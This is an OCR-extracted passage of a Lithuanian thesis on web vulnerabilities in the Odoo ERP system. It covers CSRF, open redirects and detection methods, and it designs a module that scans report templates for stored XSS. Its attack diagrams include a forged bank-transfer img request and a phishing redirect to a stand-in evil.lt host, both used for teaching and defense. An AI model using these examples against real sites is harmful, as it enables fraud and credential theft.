1.5.4.2. Pazeidziamumas tiriamosios VVS kontekste

Odoo VVS objektinio duomeny bazés susiejimo lygmenyje jgyvendina automatinj prieigos

kontrolés matricos (angl. ACL, access control list) modeliu pagrista prieigos prie objekty valdy-

https: //noscript.net/
6https:/ /en.wikipedia.org/wiki/Universally _unique__ identifier
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ma. Dél Sios priezasties Sio pazeidziamumo tirti netikslinga. Nepaisant to, neatmetama tikimybeé,
jog sis pazeidziamumas galimas viename is papildomuose moduliuose esanciy ispléstiniy valdik-
liy — atsizvelgiant j tai, jog Odoo VVS apdorojant HTTP uzklausa, uzklausos j duomeny baze
gali buti vykdomos taip vadinamo super-vartotojo teisémis, jmanoma, jog prieigos monitoriaus
mechanizmas yra aplenkiamas (super-vartotojui netaikomi jokie prieigos apribojimai). Dél Sios

priezasties Sio pazeidziamumo bus ieskoma tolimesnio tyrimo metu.

1.5.5. Neteisinga saugumo konfiguracija

Sis pazeidziamumas gali buti pritaikomas bet kuriai saityno aplikacijai, kadangi, nepriklau-
somai nuo jos pacios saugumo, neteisinga serverio, tinklo ar fiziné kompiuteriy konfiguracija
gali atverti pazeidziamumus kitame sistemos lygmenyje. Kadangi galimy serverio konfiguracijy
kiekis be galo didelis, egzistuoja gausybé Sio pazeidziamumo varianty, pvz.:

1. Naudojamos pasenusios programy ar biblioteky versijos.

2. Jjungtos nenaudojamos sistemos paslaugos (pvz. atviri prievadai).

3. Palikti numatytieji paskyry slaptazodziai.

4. Saityno aplikacija, paleista derinimo rezimu, yra viesai prieinama ir klaidy pranesimuose
matoma derinimo informacija.

5. Naudojami nesaugus programy, paslaugy ar jrenginiy nustatymai.

1.5.5.1. Apsisaugojimas

Tiesioginio apsisaugojimo nuo Sio pazeidziamumo néra, taciau sumazinti galima rizika ga-
lima:
1. sudarant jmonés saugumo politika, apibréziant bent minimalius sistemos saugumo reika-
lavimus, sistemos atnaujinimo procedurg;
2. keliant sistemg administruojanciy darbuotojy kvalifikacija;

3. atliekant saugumo audita.

1.5.5.2. Pazeidziamumas tiriamosios VVS kontekste

Kadangi sis pazeidziamumas gali pasireiksti gausybe skirtingy formy ir daznai priklauso ne
nuo pacios saityno aplikacijos saugumo, bet nuo kity naudojamy paslaugy saugumo ar sistema

administruojanciy asmeny kvalifikacijos, darbo metu Sio pazeidziamumo nebus ieskoma.

1.5.6. Jautriy duomeny paviesinimas

Duomeny jautrumo savybe gali kisti priklausomai nuo valstybes, kulturos ar kity priezasciy,
taciau dazniausiai tai sudaro asmeniniai duomenys (adresas, asmens kodas), banko ar sveikatos
apsaugos duomenys, valstybinés ar komercinés paslaptys ir t. t. Jautriy duomeny paviesinimas

gali kilti dél Siy priezasciy:
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duomenys saugomi ar perduodami neuzsifruoti;
pasenusiy Sifravimo algoritmy naudojimo;

netinkamas Sifravimo rakty administravimas;

Ll

neapibréztas aiskus jautriy duomeny naudojimo perimetras ar jy valdymo politika.

1.5.6.1. Apsisaugojimas

Siekiant apsisaugoti nuo Sio pazeidziamumo, patartina:

1. jautrius duomenis Sifruoti saugojimo ir perdavimo metu naudojant stiprius Sifravimo algo-
ritmus;

2. nesant butinybei, be reikalo nesaugoti jautriy duomeny. Saugiai sunaikinti duomenys, jei

jie nebebus daugiau naudojami.

Kadangi sis pazeidziamumas dalinai kyla i$ saugomy duomeny jautrumo, tolimesnio darbo

metu Sio pazeidziamumo nebus ieskoma.

1.5.7. Trukstamas funkcinio lygmens prieigos tikrinimas

Sis pazeidziamumas kyla tuomet, kai papildomos autorizacijos reikalaujanéios saityno ap-
likacijos funkcijos grafinéje vartotojo sgsajoje yra neatvaizduojamos atliekant autorizacijos pa-
tikrinimg puslapio generavimo metu dél nepakankamy vartotojo turimy teisiy, taciau funkci-
jos uzklausos apdorojimo metu vartotojo autorizacija néra pakartotinai tikrinama. Tai leidzia
atakuotojui suklastoti funkcijos jvykdymo uzklausa, jvykdant ja kitomis priemonémis (pvz. ko-
mandinéje eilutéje) [12]. Atakuotojui pakanka zinoti funkcijos iskvietimo adresg ir papildo-
mus perduodamus parametrus, taigi sis pazeidziamumas lengviau iSnaudojamas sistemose, kuriy

struktura ar iSeities kodas yra laisvai prieinami (pvz. atvirojoje programingéje jrangoje).
1.5.7.1. Pazeidziamumas tiriamosios VVS kontekste

Odoo VVS HTTP valdikliuose programuotojui leidzia nurodyti keturis valdiklio autentifi-

kacijos tikrinimo metodus:
1. admin — vartotojas gali buti neautentifikuotas, o HTTP uzklausa bus apdorota super-

vartotojo teisémis;

2. user — vartotojas privalo buti autentifikuotas;

3. public — vartotojas neprivalo buti autentifikuotas, tac¢iau turi turéti HTTP sesijos slapuka
aktyvios duomeny bazés parinkimui;

4. none — joks autentifikacijos tikrinimas néra atliekamas.

Programuotojui suklydus parenkant teisingg autentifikacijos tikrinimo metoda, HTTP val-
diklio funkcija gali buti iSkviesta neatlikus vartotojo autentifikacijos. Dél Sios priezasties tikslinga

ieskoti sio pazeidziamumo tyrimo metu.
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1.5.8. Kryzminis svetainés uzklausos klastojimas

Kryzminio svetainés uzklausos klastojimo atakos metu atakuotojas sutrikdo vartotojo darbo
su tam tikra svetaine sesijos integralumag vykdydamas uzklausas j ta svetaing pasinaudodamas
vartotojo narsykle — narsyklés saugumo politika leidzia saityno svetainéms siysti HT' TP uzklau-
sas bet kokiu tinklo adresu. Si politika leidzia atakuotojui, valdand¢iam kenkéjiskos svetaines
turinj, prieiga prie kitu atveju jam neprieinamy resursy [13]:

1. Tinklo prieigos — pavyzdziui, jei aukos kompiuteris yra uz tinklo uzkardos, atakuotojas,
panaudodamas aukos narsykle, gali siysti uzklausas j tiesiogiai jam neprieinamus tinklo
irenginius.

2. Narsykles busena — uzklausose, iSsiystose pasinaudojant aukos narsykle, atsispindés nar-

syklés buvio informacija, pvz. slapukai ar autentifikacijos antrastés.

)

Atakuotojo serveris Aukos narsyklé Banko serveris

POST /login HTTP/1.1
Host: bankas.It

»
>

HTTP/1.1 200 OK
Set-Cookie: SessionlD=abc123

GET /index.html HTTP/1.1 {_ ’

>

HTTP/1.1 200 OK

<html> GET /transfer.php?amount=1000&recipient=eViL
Host: bankas.It

<img src="http://bankas.It/transfer.php? [} Cookie: SessionID=abc123
amount=1000&recipient=eViL"/>

;./html>

1.5 pav. CSRF atakos seky diagrama

1.5 seky diagramoje pateikiama CSRF atakos seky diagrama. Visy pirma, auka samoningai
prisijungia prie pazeidziamos (Siame pavyzdyje — banko) svetainés, tokiu budu uzmegzdama
prisijungimo sesija. Véliau auka apsilanko atakuotojo valdomoje svetainéje su kenkéjisku turiniu.
Sioje svetainéje talpinamo kenkéjisko kodo déka aukos narsykle, vartotojui to nezinant, jvykdo
uzklausa | pazeidziama svetaine. Kadangi vartotojo narsyklé saugo prisijungimo prie banko

svetainés sesijos identifikatoriaus slapuka, banko svetainéje uzklausa autorizuojama.

1.5.8.1. Apsisaugojimas
Apsisaugoti nuo CSRF pazeidziamumo kuriant saityno aplikacijas galima trimis populiariais

budais [13]:
1. ] kiekviena HTTP atsaka jterpti su vartotojo sesija susieta unikaly slapta zetona (angl.
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token), o uzklausos metu tikrinti, ar gauta reiksmé atitinka vartotoja, jei ne — uzklausa
neapdorojama. Tokiu budu, atakuotojas priverciamas atspéti slapto zetono reikSme. Tie-
sa, daznai svetainiy kuréjai pamirsta sukurti alternatyvig apsauga prisijungimo formoms,
kadangi prisijungimo metu sesija, su kuria buty galima susieti slapta zetona, dar neegzis-
tuoja.

2. Paprasciausias budas apsisaugoti nuo CSRF pazeidziamumo — serverio puséje tikrinti uz-
klausos Referer antrastés reikSme, praleidziant uzklausas tik iS patikimy Saltiniy. Tiesa,
iskyla dilema, kaip apdoroti uzklausas, kuriy Referer antrasté tuscia. Jei tuscia reiksmeé
leistina — apsauga tampa neveiksminga, jei ne — didelé dalis vartotojy nebegalés naudo-
tis svetaine, kadangi daznai tinkly saugos politika nepraleidzia Sios antrastés deél galimo
asmens privatumo pazeidimo.

3. Naudoti XML HTTP uzklausas busena keic¢ian¢ioms uzklausoms, prie jy pridedant pa-
pildoma specializuota (grieztai neapibrézta) CSRF apsaugos antraste. Kadangi narsykliy
saugos politika neleidzia siysti papildomy specializuoty antrasciy j kitus puslapius, taciau
leidzia tokias antrastes siysti | savo svetaing; serverio puséje teliks atmesti uzklausas be

specializuotos CSRF antrastés.

1.5.8.2. Pazeidziamumas tiriamosios VVS kontekste

Pradedant 9.0-aja versija Odoo VVS jgyvendina apsaugag nuo CSRF ataky panaudojant
slaptus Zetonus . Si apsauga pagal nutyléjima jgalinta visoms uzklausoms, naudojanc¢ioms ne-
saugiais laikomus HTTP metodus (pvz. POST, PUT, DELETE) [14, p. 22]. Dél sios priezasties

néra tikslinga ieskoti Sio pazeidziamumo tyrimo metu.
1.5.9. Komponenty su zinomomis spragomis naudojimas

Pakartotinis programiniy komponenty panaudojimas turi nemazai pranasumy: padidéja
sistemos kokybé, programuotojy produktyvumas, sistemos nasumas ir patikimumas, sumazéja
sistemos kurimo laikas, iSvengiama pakartotinio funkcionalumo kurimo, palengvéja kodo palai-
kymas, sumazéja sistemos kurimo kastai [15, p. 13]. Atliktu tyrimuy metu nustatyta, jog nuo 40 %
iki 60 % kuriamy sistemy kodo gali buti pakartotinai panaudota ir tik 15 % sistemy kodo yra uni-
kalus konkreciai sistemai. Nepaisant to, panaudojant treciyjy saliy programinius komponentus
atsiranda tikimybe, jog kuriamoji sistema taip pat taps pazeidziama dél klaidos viename is nau-
dojamy komponenty. Jei apie pazeidziamumg bus paskelbiama viesai, pvz. komponento kuréjo
svetainéje, programinés jrangos pazeidziamumy svetainéje (pvz. CVE® ar NVD?), atakuotojui,
zinanc¢iam sistemos naudojamy komponenty versijy sarasa, atsivers galimybeé pazeisti sistemos
sauguma. Dél Sios priezasties tampa labai svarbu stebéti internetinés pazeidziamumy paskel-

bimo duomeny bazes dél galimy spragy sistemoje naudojamuose treciyjy saliy komponentuose

7https://Www.odoo.com/documentation/9.()/reference/http.html#csrf
8http://cve.mitre.org/
http:/ /nvd.nist.gov/home.cfm
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[16].
1.5.9.1. Apsisaugojimas

Siekiant apsisaugoti nuo Sio pazeidziamumo, patartina:

1. identifikuoti visus naudojamus treciyjy Saliy programinius komponentus;

2. sekti su $iy komponenty saugumu susijusig informacija vieSose pazeidziamumy duome-
ny bazése, komponento kuréjy svetainéje ir pastoviai atnaujinti komponentus j naujausia
versija;

3. apibrézti komponenty panaudojimo saugumo politika, kurioje apibréziama jy naudojimo
kurimo metu praktika, saugumo uztikrinimo testai;

4. kur jmanoma, stengtis sumazinti komponento sistemai galima padaryti zala, pvz. isjun-

giant nenaudojamas komponento funkcijas.

1.5.9.2. Pazeidziamumas tiriamosios VVS kontekste

Odoo VVS naudoja 42'° tre¢iyjy saliy bibliotekas, skirtas Python programavimo kalbai ir
dar keletg sistemos lygmens pakety. Nepriklausomai nuo to, laikant, jog Zinomos treciyjy saliy
programiniy komponenty spragos istaisomos naujausioje komponento versijoje, Sis pazeidziamu-
mas tampa nepriklausomas nuo pacios sistemos ir virsta sistemos administracijos atsakomybe.

Dél sios priezasties Sio pazeidziamumo tolimesnéje darbo dalyje nebus ieskoma.

1.5.10. Nepatvirtintas nukreipimas

Sio tipo pazeidziamumas iskyla tuomet, kai saityno aplikacija nukreipimui j kitg aplikacijos
puslapj ar svetaing nukreipimo adresui sudaryti naudoja vartotojui prieinamus parametrus be
patikrinimo. Pakeisdamas parametro reiksme, atakuotojas gali sukonstruoti nuoroda, nukrei-
piancig auka j suklastota, jo valdoma svetaing ir pateikti tg nuoroda aukai. Kadangi nuorodos
adreso dalyje bus matomas patikimos svetainés adresas, nemaza tikimybeé, jog auka pasikliaus
nuoroda ir, nukreipus ja j suklastota, taciau panasiai ar net identiskai atrodancia svetaine, nejtars
apgaulés ir toliau naudosis jau atakuotojo valdoma kenkéjiska svetaine. Tokiu budu, atakuotojas
galés iSgauti tam tikrus aukos jvedamus duomenis (pvz. prisijungimo ar banko duomenis). Si

ataka vadinama isviliojimo (angl. phishing) ataka [17].

10https://github.com/odoo/odoo/blob/9.0/1"equirements.txt
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Atakuotojas Auka PaZeidziama Atakuotojo

2z svetainé serveris
Apsimesdamas banku, ( 3
@ nusiuncia pranesima, pvz.: ¥
"Atnaujinkite paskyros duomenis i
paspaude ant nuorodos: £ T

http://bankas.lt/login.php?
redirect_to=http://evil.lt/login.php"

GET /login.php?redirect=
http://evil.lt/login.php

HTTP/1.1 200 OK
<html>...</html>

Y

POST /login.php HTTP/1.1
username=a, password=b

»
HTTP/1.1 200 OK
Location: http://evil.lt/login.php

<

GET /login.php HTTP/1.1

Y

HTTP/1.1 200 OK
<html>...

<p>Prisijungti nepavyko,
bandykite i$ naujo.</p>
<form>...</form></htm|>

i
<

POST /login.php HTTP/1.1
username=a, password=b

1.6 pav. Nepatvirtinto nukreipimo atakos seky diagrama

1.6 pateiktoje nepatvirtinto nukreipimo seky diagramoje atakuotojas, apsimesdamas ban-
ku, nusiuncia aukai (pvz. el. pastu) laiska, raginantj prisijungti prie banko savitarnos svetainés
ir atnaujinti paskyros duomenis. Auka, pamaciusi, jog nuoroda is tikro prasideda banko adresu,
paspaudzia ant nuorodos ir i$ pradziy yra nukreipiamas j banko svetaine. ISsiuntus prisijungi-
mo forma banko serveriui, kuris, patvirtines prisijungima, grazina aukai HTML dokumenta su
nukreipimu j kita puslapj (Siuo atveju, kadangi neatliekamas patikrinimas, j atakuotojo valdo-
ma suklastota banko svetainés kopija), taciau auka to nepastebi. Atakuotojas gali iSvesti aukai
pranesima, pvz. kad jvesti prisijungimo duomenys neteisingi ir reikia bandyti iS naujo. Auka
pakartotinai uzpildo forma ir Sjkart iSsiuncia ja jau j atakuotojo valdoma serverj — sig akimirka
atakuotojui tampa zinomi vartotojo prisijungimo duomenys. Papildomai, atakuotojas gali pasi-
rinkti nukreipti auka atgal | banko svetaing, kad nesukelti vartotojui jtarimo. Kadangi vartotojas

prie banko svetainés jau prisijunge, Sios atakos jis gali net nepastebéti.
1.5.10.1. Apsisaugojimas

Siekiant apsisaugoti nuo Sio pazeidziamumo, patartina [17]:
1. vengti vartotojy nukreipimo priemoniy naudojimo;
2. konstruojant nukreipimo adresa nenaudoti vartotojo manipuliuojamy reiksmiuy;
3. jei negalima iSvengti vartotojo manipuliuojamy reikSmiy jtraukimo j adresa, reikéty tik-

rinti, ar gautas adresas yra nepavojingas.
1.6. Pazeidziamumuy aptikimo metody apzvalga

Siame skyrelyje trumpai apzvelgsime zinomus metodus, skirtus pazeidziamumams saityno

aplikacijose aptikti. OWASP eksperty nuomone, efektyviausias budas saugumo spragoms saityno
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aplikacijose aptikti yra kodo perziura. Deja, taciau toks procesas ilgai uztrunka, reikalauja
patyrusio eksperto jgudziy, be to didelé tikimybé nepastebéti spragy dél zmogiskos klaidos. Dél
Sios priezasties, saugumo tyréjai vysto automatizuotus metodus saugumo spragoms aptikti. Sie
metodai gali buti suskirstyti j dvi placias kategorijas [18]:

1. Juodosios dézés testavima (angl.black-boz testing) — tokio testavimo metu sistema testuo-
jama is vartotojo puseés ir laikoma, jog sistemos iseities kodas yra nezinomas. Visos zinios
apie sistemg gaunamos stebéjimy metu, pvz. atlieckant HTTP uzklausas, uzpildant HT-
ML formas ir t. t., ir stebimas tokiy veiksmy rezultatas, tac¢iau nezinoma, kokie veiksmai

atliekami sistemos viduje. Juodosios dézés testavimo privalumai [19, p. 13]:
e Prieinamumas — juodosios dézés testavimo metoda galima naudoti net jei yra priei-

namas tiriamos saityno aplikacijos iSeities kodas.

o Pakartojamumas — kadangi juodosios dézés testavimo metodas nesudaro isankstiniy
prielaidy apie tiriama sistema (kadangi sistemos struktura ir veikimas nezinomi),
vienai sistemai sukurtus testus galima panaudoti tiriant ir kitas sistemas.

o Paprastumas — juodosios dézés testavimas gali buti atliekamas neturint giliy ziniy

apie tiriama sistema.

Juodosios dézés testavimo trukumai [19, p. 13]:
o Padengiamumas — juodosios dézés testavimo metu sunku jvertinti testavimo metu

padengta tiriamosios sistemos dalj ir jvertinti testavimo efektyvuma.

o Atakos paprastumas — juodosios dézés testavimo metodas tinkamas tuomet, kai pa-
zeidziamuma jtakoja vienas jvesties vektorius. Sudétingoms atakoms jgyvendinti gali
prireikti keliy vektoriy, pvz. vienas veiksmas jveda sistema j pazeidziama busena, ki-
tas —iSnaudoja pazeidziamuma. Tokios atakos reikalauja testuojamos sistemos logikos

suvokimo, taigi negali buti aptiktos juodos dézés testy metu.

2. Baltosios dézés testavima (angl.white-box testing) — Sio tipo testavimo metu laikoma, jog
tiriamos aplikacijos iseities kodas yra zinomas, taigi galima atlikti ir dinaming, ir statine
kodo analize. Baltosios déZés testavimo privalumai [19, p. 9]:

o Padengiamumas — kadangi prieinamas visas tiriamos sistemos kodas, kodo perziuros
metu galima uztikrinti pilng sistemos padengiamuma — t. y. visi galimi vykdymo

keliai gali buti patikrinti nuo pazeidziamumuy.

Baltosios dézés testavimo trukumai [19, p. 9]:

o Sudétingumas — iSeities kodo analizés jrankiai néra tobuli ir gali pranesti apie galimus
netikrus pazeidziamumus (angl. false positive). Siy jrankiy generuojama ataskai-
ta privalo buti patikrinta patyrusio programuotojo ar saugumo eksperto tam, kad
patvirtinti ar atmesti atrastus pazeidziamumus. Kadangi stambaus projekto kodo
analizes ataskaita gali buti labai ilga, Sis procesas gali pareikalauti gausiy istekliy.

e Prieinamumas — programinés jrangos iseities kodas ne visuomet yra prieinamas, pvz.

komercinés programines jrangos atveju Sis metodas negali buti naudojamas.
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1.6.1. Démiy analizé

Baltosios dézés testavimo atveju pazeidziamumams aptikti daznai naudojamas démiy po-
zymio analizé (angl. taint mode ), skirta galimo nepatikrinty jvesties reikSmiy panaudojimo
duomeny isvedimo metu aptikimui. Démiy pozymiu paremta analizé gali buti vykdoma statis-
kai, dinamiskai arba derinant stating ir dinamine analize [20]. Dinaminés analizés metu kodo
vykdymo eigoje sekami duomeny srautai siekiant uztikrinti, jog duomenys, jvesti i nepatikimo
saltinio (angl. source) nebuty perduoti j jautria iSvestj (angl. sink) be iSvalymo. Dazniausiai Sios
analizés metu tikrinamos tik simboliy eilutés tipo reiksmés, ignoruojant kitokio tipo duomenis.

Analizés metu laikomasi Siy prielaidy:
1. Visi duomenys, gauti is vartotojo HTTP uzklausa ar kitu budu, yra nepatikimi (arba

déemeéti).
2. Visi saityno aplikacijai lokalus duomenys yra patikimi (be démés pozymio).
3. Bet kokie nepatikimi duomenys gali buti paverc¢iami patikimais specialiy transformacijy,

vadinamy iSvalymu (angl. sanitization), déka.
Laikantis tokiy prielaidy, pazeidziamumu vadinamas bet kurios is Siy taisykliy pazeidimas:

1. Nepatikimi (démeéti) duomenys negali buti naudojami HTTP atsako konstravimo metu.
Tai leidzia iSvengti XSS pazeidziamumy.

2. Nepatikimi (déméti) duomenys neturéty buti iSsaugojami, siekiant iSvengti galimo ju pa-
naudojimo HTTP atsako konstravimo metu ateityje.

3. Nepatikimi (démeéti) duomenys neturi buti naudojami sisteminiuose kreipiniuose, kreipi-
niuose j isorines paslaugas, pvz. duomeny baze. Tai leidZzia apsisaugoti nuo daugelio
iterpimo ataky.

4. Nepatikimi (démeéti) duomenys neturi buti naudojami kaip jvestis interpretatoriui. Tai

leidzia iSvengti kodo jterpimo ataky.

Kadangi sis modelis remiasi jvesties duomeny tikrinimu, jo pagalba dazniausiai aptinkami
jterpimo pazeidziamumai, pvz. XSS (skyrelis 1.5.3. zr. psl. 19, Iterptiniy komandy atakos)
ar SQL jterpimo pazeidziamumas (skyrelis 1.5.1. zr. psl. 17, [terpimas) [20, 18]. Kai kurios
programavimo kalbos (Perl, Ruby), igyvendina numatytaji palaikyma démiy poZymiui [20]. Tai
leidzia kritinése funkcijose, pvz. sisteminiame kreipinyje, atmesti parametrus su démés pozymiu,

t. y. nepatikrintais vartotojo jvestais duomenimis.

1.6.2. Penetracinis testavimas

Penetracinis testavimas (angl. penetration testing) yra juodosios dézés tipo testavimo meto-
das, kurio metu saugumo tyréjas bando aptikti saityno aplikacijos pazeidziamumus stengdamasis
jvykdyti sekminga ataka pries sistema. Sio tipo testavimo metu testuotojas dazniausiai naudo-
jasi iS iSorés prieinamais metodais, pvz. HTTP uzklausomis ir stengiasi jvesti sistemg j nesaugy

buvj. Sistemos busena suzinoma tik is sistemos grazinamy duomeny, pvz. klaidos pranesimo,
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HTTP atsako antrasciy, suformuoto HTML dokumento. Testavimo procesas susideda is keliy

zingsniy:

1.

3.

Visy pirma, identifikuojami visi tiriamosios saityno aplikacijos puslapiai. Tai itin svarbus
zingsnis, kadangi atakos bus vykdomos tik pries aptiktus duomeny jvesties taskus (angl.
data entry points). Sia uzduotj galima jvykdyti automatiskai (naudojant puslapiy ske-
navima) arba rankiniu budu. Surinktas duomeny jvesties tasky sarasas bus naudojamas
tolimesnio skenavimo metu.

Simuliuojamos atakos generuojant kenksmingas parametry reiksmes, perduodamas j duo-
meny jvesties taskus HTTP uzklausy metu (angl. fuzzing).

Gautuose HTTP atsakuose ieskoma pazeidziamumy pozymiy.

1.6.3. Kodo perziiura

Kodo perziura yra baltosios dézés tipo testavimo metu, kurio metu saugumo eksperty gru-

pé analizuoja tiriamos sistemos koda ieskodami galimy pazeidziamumy. Tai daug zmogiskyjy

resursy ir ziniy apie tiriamosios sistemos naudojamas technologijas (pvz. programavimo kalba)

reikalaujantis procesas, dél kurio efektyvumo néra nusistovéjusios vieningos nuomonés [18, 9,

19]. Efektyviai kodo perziurai atlikti patartina naudoti teksto analizés ir paieskos jrankius. D.
Stuttard ir M. Pinto siulo tokia kodo perziuros metodika [9, p. 703]:

1.

= W o

- W o

Sekti vartotojo jvedamus duomenis pradedant juy jvesties j sistema tasku, perziurint juos

apdorojantj koda.

. Naudojant paieskos jrankius sistemos kodo bazéje ieskoti galimy pazeidziamumus indikuo-

janciy pozymiy ir iSanalizuoti atrastus atvejus deél galimo pazeidziamumo.

Atlikti nuodugnig sistemos daliy, kurios jgyvendina i$ pagrindo rizikinga funkcionaluma,
kodo perziura, siekiant suvokti sistemos logika ir galimas jos spragas. Tokiai analizei daz-
niausiai parenkami funkciniai komponentai: autentifikacijos, sesijos valdymo mechanizmai,

prieigos tikrinimas, sasajos su iSoriniais komponentais.

Analizés apibendrinimas

Analizés metu atlikti sie darbai:

apzvelgta programinés jrangos pazeidziamumy statistika;

pasirinktas ir iSanalizuotas tiriamas atvirosios programinés jrangos projektas;
iSanalizuoti dazniausiai pasitaikantys saityno aplikacijy pazeidziamumai;

apzvelgti pazeidziamumy aptikimo saityno aplikacijose metodai.

Tolimesnei analizei pasirinktas Odoo verslo valdymo sistemos projektas dél siy priezasciy:
verslo valdymo sistemos operuojamy duomeny jautrumo;

plataus sistemos naudojimo;
projekto bendruomenés parodytas noras atlikti projekto kodo bazés saugumo audita;

sistema yra platinama su atvirojo kodo licencija — analizei prieinamas sistemos iseities

kodas;
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5. turimy ziniy apie sios VVS veikimg ir naudojamas technologijas.

Analizés metu apsibréztas tolimesnio darbo metu tiriamojoje VVS sistemoje ieSkomy pazeidzia-
mumi sarasas:

. SQL jterpimas;

. iterptiniy komandy atakos (angl. XSS);

1

2

3. nesaugios tiesioginés nuorodos j objekta;

4. trukstamas funkcinio lygmens prieigos tikrinimas;
5

. nepatvirtintas nukreipimas.

Pazeidziamumy apzvalgos metu aptartos galimos juy atsiradimo priezastys ir zinomi iSven-
gimo budai. Taikant turimas zinias apie tiriamajg VVS atsizvelgta i galima pazeidziamumy
egzistavimg tiriamoje VVS sistemoje ir numanomas kodo dalis, kuriose tokie pazeidziamumai
galimi — tai leidzia apsibrézti tolimesnéje darbo dalyje tiriamos VVS dalj. Tolimesnéje darbo

dalyje numatomos analizuoti tiriamos VVS dalys:
1. Papildomy sistemos jskiepiy valdikliai (angl. controllers) — Sioje kodo dalyje numanoma

ieskoti 8iy pazeidziamumuy:
o SQL jterpimas;
e mnesaugios tiesioginés nuorodos j objekta;
o trukstamas funkcinio lygmens prieigos tikrinimas;

« nepatvirtintas nukreipimas.

Tiriamoje VVS &i kodo dalis sudaro 9632!! kodo eiluciy.

2. VVS QWeb sablony variklio rodiniai (angl. wiews) — atsizvelgiant i tai, jog Odoo VVS
duomeny bazéje saugomi vartotojo jvesti duomenys be isvalymo (angl. sanitization), o
iSvalymas atliekamas tik atvaizdavimo metu, numanoma iSsaugotos XSS komandy jterpimo

atakos galimybé. Apytikslis Sio kodo dalies jvertinimas — ~80 tukst. kodo eiluciy.

Pazeidziamumy apzvalgos metu nuspresta pazeidziamumy ieskoti naudojant kodo perziu-
ros metodika, atsizvelgiant j tai, jog tikslinga naudoti baltos dézés testavimo metoda, kadangi
prieinamas sistemos iseities kodas, ir j tai, jog bus ieSskoma keliy skirtingy pazeidziamumy. Deé-
miy analizés (skyrelis 1.6.1. zr. psl. 29, Démiy analizé) metodas atmestas dél netenkinamo
reikalavimo, jog nepatikimi duomenys neturi buti iSsaugomi duomeny bazéje. Kodo perziu-
ros procesg planuojama palengvinti paieskos jrankiy pagalba. Papildomai planuojama paruosti
testiniy duomeny su kenkéjisku kodu rinkinj ir atlikti automatizuota pazeidziamumo pozymiy
stebéjima vaizdiniy (angl. views) konstravimo metu pirmojo tipo XSS pazeidziamumy aptikimui.

Pazeidziamumy ieskoti numatoma 8-oje'? Odoo VVS versijoje.

11lvertinta naudojant UNIX komandinés eilutés paieskos ir teksto analizés jrankius: find . -name ‘main.py’ /

grep controllers | xargs cat | we -1
2https://github.com/odoo/odoo/commit /1545591
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2. AUTOMATINIO XSS PAZEIDZIAMUMU APTIKIMO
MODULIO PROJEKTAS

Kaip buvo minéta analizés dalyje (skyrelis 1.7. zr. psl. 30, Analizés apibendrinimas),
Odoo VVS, numanoma issaugotos X5S komandy jterpimo atakos galimybé, jei iSvedimo metu
metu duomenys iSvalomi nepilnai, kadangi Odoo VVS duomeny bazéje saugomi vartotojo jvesti
duomenys be iSvalymo (angl. sanitization).

Siekiant aptikti tokio tipo pazeidziamumus, kur dél programuotojo klaidos iSvedamuose
duomenyse atsispindéty galimai zalingas kodas, bus paruostas jrankis, automatiskai tikrinantis
Odoo ataskaity rodinius.

Kuriamajj jrankj planuojama jgyvendinti kaip papildoma modulj, skirta Odoo VVS. Idiegus
modulj j VVS, jis turéty leisti atlikti automatinj kity moduliy suteikiamy ataskaity ) Web sa-
blony tikrinima dél iSsaugotyju XSS ataky pazeidziamumo (skyrelis 1.5.3. zr. psl. 19, Tterptiniy
komandy atakos).

2.1. Tikrinimo modulio veikimas

Generuojamas "uzkrésto"

> QWeb objekto HTML vaizdinys

pagal ataskaitos
XML Sablong

Objektasl

laukelisl - Labas [«
laukelis2 - 5 Esamas ataskaitos objekto
jrasas "uzkrec¢iamas"
zalingomis reikSmémis

Modelis Tikrinama, ar sugeneruotame
Analizuojamas ataskaitos HTML HTML kode néra galimai
laukelis1 - tekstas objekto duomeny bazés Zzalingy elementy

modelis, i$traukiami galimi A

laukelis2 - skaicius "uzkrésti" laukeliai

Ataskaitos objektas

ataskaitos_modelis <€ 1 Skenavimo modulis

Pasirenkama tikrinamoji
ataskaita

2.1 pav. Tikrinimo modulio veikimo schema

2.1 pateiktoje schemoje matoma kuriamo modulio veikimo schema.
1. Pirmame zZingsnyje pasirenkama tikrinamoji ataskaita (Odoo VVS objektas

ir.actions.report.xml).  Idiegiant Odoo VVS modulius, $io objekto lentelé papildoma
to modulio suteikiamomis ataskaitomis. Ataskaitos modelis turj rysj j ataskaitos mo-
delj (laukelis model), kuris apibudina, kokio pagrindinio objekto duomenis ataskaita
atvaizduoja.

2. Antrame zingsnyje kuriamasis modulis analizuoja ataskaitos objekto modelio duomeny lau-
kelius (Odoo VVS objektas ir.model.fields). Odoo VVS prieinami devyni pagrindiniai (ne
reliaciniai) duomeny tipy laukeliai '. Kadangi XSS pazeidZiamumai galimi tekstinio tipo

laukeliuose (char, text), iSsaugomas butent Sio tipo laukeliy sarasas. Kiekvienam laukeliui

Yhttps:/ /www.odoo.com/documentation /8.0 /reference /orm.html
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papildomai sugeneruojamas atsitiktinis unikalus zetonas (angl. token), tikrinimo leisiantis
tiksliau nustatyti, kurio duomeny laukelio atvaizdavimas galimai sukelia pazeidziamuma.

3. Treciame zingsnelyje pagal paruosta duomeny lauky sarasa duomeny bazéje egzistuojantis
ataskaitos objekto jrasas modifikuojamas, pakeiciant esamas duomeny reikSmes galimai
zalingomis. Siam tikslui galima nurodyti specialiai paruosta zalinga koda. Nesant nuro-
dymui, generuojama reikSmeé su zenklu ,maziau uz* (<) su is desinés pridedamu unikaliu
laukelio Zetonu, pvz. <abed. Siam Zingsniui reikalinga, jog duomeny bazéje egzistuoty
bent vienas iS anksto paruostas ataskaitos objekto jrasas. Tam tikslui planuojama nau-
doti Odoo VVS demonstraciniy duomeny jrasus, kurie duomeny bazéje iSsaugomi atskiry
moduliy jdiegimo metu.

4. Siame zingsnyje, panaudojant Q Web sablony variklj ir ataskaitos XML $ablona, generuoja-
ma tre¢iame zingsnyje modifikuoto ataskaitos objekto jraso HTML ataskaita. Siam tikslui
kvie¢iamas Odoo VVS modelio report metodas get html 2.

5. Galiausiai pagal antrame zingsnyje sugeneruoty laukeliy sarasa tikrinama, ar sugeneruota-
me HTML kode atvaizduojant ataskaitos objekto duomenis, kurio nors is laukeliy reiksme
nebuvo atvaizduota kartu su zalingu kodu. Vykdant taisyklinga duomeny isvalymo HT-
ML generavimo metu, galimai zalingi simboliai, pvz. zenklas ,maziau uz“ turéty buti
pakeisti | XML esybes (atitinkamai &It;). Naudojami unikalus duomeny laukeliy Zetonai
leidZia nustatyti, kurio laukelio atvaizdavimo metu nebuvo atliktas taisyklingas duomeny

iSvalymas.

